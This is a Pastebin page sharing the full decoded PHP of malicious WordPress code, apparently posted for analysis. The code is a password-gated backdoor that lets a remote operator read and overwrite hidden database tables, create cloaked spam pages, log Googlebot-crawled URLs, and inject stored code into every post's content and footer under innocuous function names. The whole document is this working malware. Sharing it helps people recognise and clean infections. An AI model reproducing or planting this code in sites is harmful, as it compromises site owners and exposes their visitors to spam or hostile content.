Advertisement
Guest User

Decoded payload for a malicious WordPress code injector

a guest
Mar 4th, 2017
1,878
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.68 KB | None | 0 0
  1. <?php
  2.  
  3. if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '{$PASSWORD}'))
  4.     {
  5.         switch ($_REQUEST['action'])
  6.             {
  7.                 case 'get_all_links';
  8.                     foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'install_meta` ORDER BY `url` DESC LIMIT 0, 2500', ARRAY_A) as $data)
  9.                         {
  10.                             print '<e><w>'.$data['work'].'</w><url>' . $data['url'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
  11.                         }
  12.                 break;
  13.                
  14.                 case 'set_links';
  15.                     if (isset($_REQUEST['data']))
  16.                         {
  17.                             if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'install_meta` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE code = "" AND `work` = "1" LIMIT 1'))
  18.                                 {
  19.                                     print "true";
  20.                                 }
  21.                         }
  22.                 break;
  23.                
  24.                 case 'set_id_links';
  25.                     if (isset($_REQUEST['data']))
  26.                         {
  27.                             if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'install_meta` SET code = "' . mysql_escape_string($_REQUEST['data']) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"'))
  28.                                 {
  29.                                     print "true";
  30.                                 }
  31.                         }
  32.                 break;
  33.                
  34.                 case 'create_page';
  35.                     if (isset($_REQUEST['remove_page']))
  36.                         {
  37.                             if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"'))
  38.                                 {
  39.                                     print "true";
  40.                                 }
  41.                         }
  42.                     elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content']))
  43.                         {
  44.                             if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))
  45.                                 {
  46.                                     print "true";
  47.                                 }
  48.                         }
  49.                 break;
  50.                
  51.                 default: print "ERROR_WP_ACTION";
  52.             }
  53.            
  54.         die("");
  55.     }
  56.  
  57. $super_url = 'http://' . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
  58.    
  59. if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' )
  60.     {
  61.         $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"');
  62.         if ($data -> full_content)
  63.             {
  64.                 print stripslashes($data -> content);
  65.             }
  66.         else
  67.             {
  68.                 print '<!DOCTYPE html>';
  69.                 print '<html ';
  70.                 language_attributes();
  71.                 print ' class="no-js">';
  72.                 print '<head>';
  73.                 print '<title>'.stripslashes($data -> title).'</title>';
  74.                 print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />';
  75.                 print '<meta name="Description" content="'.stripslashes($data -> description).'" />';
  76.                 print '<meta name="robots" content="index, follow" />';
  77.                 print '<meta charset="';
  78.                 bloginfo( 'charset' );
  79.                 print '" />';
  80.                 print '<meta name="viewport" content="width=device-width">';
  81.                 print '<link rel="profile" href="http://gmpg.org/xfn/11">';
  82.                 print '<link rel="pingback" href="';
  83.                 bloginfo( 'pingback_url' );
  84.                 print '">';
  85.                 wp_head();
  86.                 print '</head>';
  87.                 print '<body>';
  88.                 print '<div id="content" class="site-content">';
  89.                 print stripslashes($data -> content);
  90.                 get_search_form();
  91.                 get_sidebar();
  92.                 get_footer();
  93.             }
  94.            
  95.         exit;
  96.     }
  97.    
  98. if ( (strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'googlebot') !== FALSE) && ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'install_meta` WHERE `url` = "'.mysql_escape_string( $super_url ).'"') == '0') )
  99.     {
  100.         $wpdb->query(' INSERT INTO `' . $wpdb->prefix . 'install_meta` SET `url` = "'.mysql_escape_string($super_url).'" ');
  101.     }
  102.  
  103. $GLOBALS['WP_URL_CD'] = stripslashes( $wpdb -> get_var('SELECT `code` FROM `' . $wpdb->prefix . 'install_meta` WHERE `url` = "'.mysql_escape_string($super_url).'"') );
  104.  
  105. if ($_SERVER["REQUEST_URI"] != "/")
  106. add_filter('the_content', 'content_updt_theme');
  107. add_action('wp_footer',   'content_updt_footer');
  108.  
  109. function content_updt_theme( $page )
  110.     {
  111.         $page .= $GLOBALS['WP_URL_CD'];
  112.         $GLOBALS['WP_URL_CD'] = '';
  113.         return $page ;
  114.     }
  115.    
  116. function content_updt_footer()
  117.     {
  118.         print $GLOBALS['WP_URL_CD'];
  119.     }
  120.  
  121. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement